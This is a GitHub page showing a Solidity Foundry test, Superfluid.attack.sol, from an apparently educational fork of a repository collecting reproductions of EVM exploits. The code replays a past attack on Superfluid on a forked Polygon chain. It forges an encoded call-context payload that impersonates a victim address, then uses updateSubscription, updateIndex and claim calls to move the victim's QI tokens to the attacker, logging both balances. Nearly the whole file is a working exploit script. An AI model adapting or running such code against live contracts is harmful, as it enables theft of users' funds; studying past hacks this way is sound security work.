forked from coinspect/learn-evm-attacks
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Superfluid.attack.sol
119 lines (89 loc) · 4.7 KB
/
Superfluid.attack.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "forge-std/Test.sol";
import {TestHarness} from "../../TestHarness.sol";
import {TokenBalanceTracker} from '../../modules/TokenBalanceTracker.sol';
import {IERC20} from "../../interfaces/IERC20.sol";
interface ISuperfluid {
function callAgreement(address agreementClass, bytes memory callData, bytes memory userData) external returns (bytes memory);
}
contract Exploit_Superfluid is TestHarness, TokenBalanceTracker {
ISuperfluid internal superfluid = ISuperfluid(0x3E14dC1b13c488a8d5D310918780c983bD5982E7);
address internal agreementIDAV2 = 0xB0aABBA4B2783A72C52956CDEF62d438ecA2d7a1;
IERC20 internal qi = IERC20(0xe1cA10e6a10c0F72B74dF6b7339912BaBfB1f8B5);
address internal victim = 0x5073c1535A1a238E7c7438c553F1a2BaAC366cEE;
uint256 constant internal CALL_INFO_CALL_TYPE_SHIFT = 32;
uint256 constant internal CALL_INFO_CALL_TYPE_MASK = 0xF << CALL_INFO_CALL_TYPE_SHIFT;
uint256 constant internal CALL_INFO_APP_LEVEL_MASK = 0xFF;
function setUp() external {
cheat.createSelectFork("polygon", 24685147);
cheat.deal(address(this), 0);
addTokenToTracker(address(qi));
updateBalanceTracker(address(this));
updateBalanceTracker(victim);
console.log("==== INITIAL BALANCES ====");
logBalancesWithLabel('Attacker', address(this));
logBalancesWithLabel('Victim', victim);
}
function test_attack() external {
// The malicious payload, encoded in hex.
// bytes memory maliciousPayloadFromTraces = hex'0000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005073c1535a1a238e7c7438c553f1a2baac366cee000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000';
bytes memory maliciousPayloadConstructed = abi.encode(
abi.encode(
encodeCallInfo(0,1), // Get encoded call info by shifting depending on the app and call type.
block.timestamp,
victim,
bytes4(0),
new bytes(0)
),
abi.encode(
0,
0,
address(0),
address(0)
)
);
bytes memory callData1 = abi.encodeWithSignature("updateSubscription(address,uint32,address,uint128,bytes)",
address(qi),
98789,
address(this),
qi.balanceOf(victim),
maliciousPayloadConstructed
);
bytes memory callData2 = abi.encodeWithSignature("updateIndex(address,uint32,uint128,bytes)",
address(qi),
98789,
1,
maliciousPayloadConstructed
);
bytes memory callData3 = abi.encodeWithSignature("claim(address,address,uint32,address,bytes)",
address(qi),
victim,
98789,
address(this),
new bytes(0)
);
console.log("==== STEP 1: INJECT PAYLOAD ====");
logBalancesWithLabel('Attacker', address(this));
logBalancesWithLabel('Victim', victim);
superfluid.callAgreement(agreementIDAV2, callData1, new bytes(0));
superfluid.callAgreement(agreementIDAV2, callData2, new bytes(0));
superfluid.callAgreement(agreementIDAV2, callData3, new bytes(0));
console.log("==== STEP 2: AFTER INJECTION ====");
logBalancesWithLabel('Attacker', address(this));
logBalancesWithLabel('Victim', victim);
}
function encodeCallInfo(uint8 appLevel, uint8 callType)
internal pure
returns (uint256 callInfo)
{
return uint256(appLevel) | (uint256(callType) << CALL_INFO_CALL_TYPE_SHIFT);
}
function decodeCallInfo(uint256 callInfo)
internal pure
returns (uint8 appLevel, uint8 callType)
{
appLevel = uint8(callInfo & CALL_INFO_APP_LEVEL_MASK);
callType = uint8((callInfo & CALL_INFO_CALL_TYPE_MASK) >> CALL_INFO_CALL_TYPE_SHIFT);
}
}